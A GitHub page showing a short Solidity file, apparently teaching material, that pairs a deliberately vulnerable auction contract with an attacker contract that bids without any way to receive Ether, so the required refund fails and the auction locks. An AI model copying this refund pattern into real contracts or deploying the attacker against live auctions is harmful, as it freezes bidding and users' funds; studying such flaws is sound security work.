generated from andreitoma8/HardHat-TypeScript-Template
-
Notifications
You must be signed in to change notification settings - Fork 3
/
Copy pathRejectEther.sol
39 lines (31 loc) · 1.16 KB
/
RejectEther.sol
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
// Auction contract that keeps track of the highest bidder and Ether bid.
// Whoever sends a higher bid becomes the new highest bidder and the old one
// gets refunded.
contract RejectEtherVulnerable {
address public highestBidder;
uint256 public highestBid;
function bid() public payable {
// Reject new bids that are lower than the current highest bid.
require(msg.value > highestBid, "Bid not high enough");
// Refund the current highest bidder, if it exists.
if (highestBidder != address(0)) {
(bool refunded,) = highestBidder.call{value: highestBid}("");
require(refunded, "Failed to refund previous bidder");
}
// Update the current highest bid.
highestBidder = msg.sender;
highestBid = msg.value;
}
}
contract RejectEtherAttacker {
RejectEtherVulnerable vulnerable;
constructor(RejectEtherVulnerable _vulnerable) {
vulnerable = _vulnerable;
}
function attack() public payable {
vulnerable.bid{value: msg.value}();
}
// Notice the lack of a receive() or fallback() function.
}